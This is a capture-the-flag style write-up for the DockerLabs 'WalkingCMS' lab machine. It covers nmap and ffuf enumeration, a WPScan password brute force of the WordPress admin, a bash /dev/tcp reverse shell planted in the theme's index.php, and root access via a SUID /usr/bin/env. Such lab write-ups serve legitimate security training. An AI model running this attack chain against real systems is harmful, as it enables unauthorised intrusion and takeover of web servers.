> For the complete documentation index, see [llms.txt](https://itszaiden.gitbook.io/pentesting/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://itszaiden.gitbook.io/pentesting/writeups/dockerlabs/easy/walkingcms.md).

# WalkingCMS

## 1 - Reconnaissance

We begin with a fast Nmap scan to identify open ports:

`nmap 172.17.0.2 -p- --open -sS -Pn --min-rate 5000 -T5`

**Result: port 80 is open**

## 2 - Enumeration

Now we run a service/version detection scan, targeting only the open ports we found on the previous scan:

`nmap 172.17.0.2 -p ports -sS -Pn -sCV`

<figure><img src="/files/128ztHP9gSotcLMgnTkJ" alt=""><figcaption><p>(WalkingCMS) Targeted Port Scan</p></figcaption></figure>

We tried to find exploits or shellcodes using `searchsploit` but there wasn't any. Our next step will be directory enumeration. Using our tool `ffuf-dir`:

```
ffuf-dir () {
  ffuf -u $1 -w /usr/share/wordlists/dirb/big.txt ${@: 2} -e .html,.php,.txt
}
```

we did `ffuf-dir http://172.17.0.2/FUZZ` and we found the following routes:

<figure><img src="/files/ic3s6VMM4QW6HjPXx7h1" alt=""><figcaption><p>(WalkingCMS) FFUF Routes</p></figcaption></figure>

## 3 - Exploitation

Browsing a bit we found the admin of the wordpress is `mario`, so we will run WPScan using rockyou.txt as wordlist. We got in 10 seconds the output:

```
wpscan -U mario -P /usr/share/wordlists/rockyou.txt --url http://172.17.0.2/wordpress
```

<figure><img src="/files/yi9ad0PsIuEtS63nm5is" alt=""><figcaption><p>(WalkingCMS) Mario Credentials</p></figcaption></figure>

After logging in as the WordPress admin, we will go to Theme Code Editor, and choose the current template. We will edit `index.php` to include a reverse shell from PenTestMonkey such as:

`exec("/bin/bash -c 'bash >& /dev/tcp/172.17.0.1/3110 0>&1'");`

<figure><img src="/files/EpAOcfI2c1bPEyvRLjZE" alt=""><figcaption><p>(WalkingCMS) Reverse Shell Uploaded</p></figcaption></figure>

Now, after setting up a listener with `nc -lvnp 3110`, browsing /index.php will activate the shell.

We will upgrade the reverse shell to a fully interactive shell using Python. First we will run `which python python2 python3` to know the version that the server is running. After it, we see that the server is running python3, so we execute this command:

```
script /dev/null -c bash
```

Now we will send temporarily our shell to the background with `CTRL+Z` and we will run:

`stty raw -echo;stty size;fg`

That way we will be able to send control characters through the reverse shell without killing it. Also, we will know the size of our terminal in rows and columns. For example, mine is 46 rows and 207 columns. After that, we will run `fg` to return to the reverse shell, and we will run this:

`export SHELL=kitty` \
`stty rows 46 columns 207` \
`export TERM=xterm-256color`

Now, we have a fully interactive tty that won't get killed if we run `CTRL+C`, and will be as functional as our local one.

## 4 - Privilege Escalation

We can't run sudo -l, but after listing the binaries with SUID set with `find / -perm -4000 2>/dev/null` we will find `/usr/bin/env`,  which we can use for instant root shell using GTFOBins oneliner. Running `/usr/bin/env /bin/sh -p` will spawn the root shell:

<figure><img src="/files/vGmzvhz50xZPBl2xSC5J" alt=""><figcaption><p>(WalkingCMS) Root Shell</p></figcaption></figure>

## 5 - Summary

**Initial Access:**\
Enumeration revealed WordPress with admin user `mario`. Using WPScan with `rockyou.txt`, we brute-forced the password and logged in as admin.

**Exploitation:**\
Modified the WordPress theme `index.php` to include a PHP reverse shell (PentestMonkey), gained a shell as `www-data`, and upgraded it to a stable TTY.

**Privilege Escalation:**\
Found `/usr/bin/env` with SUID bit. Abusing it via GTFOBins (`/usr/bin/env /bin/sh -p`) provided an instant root shell.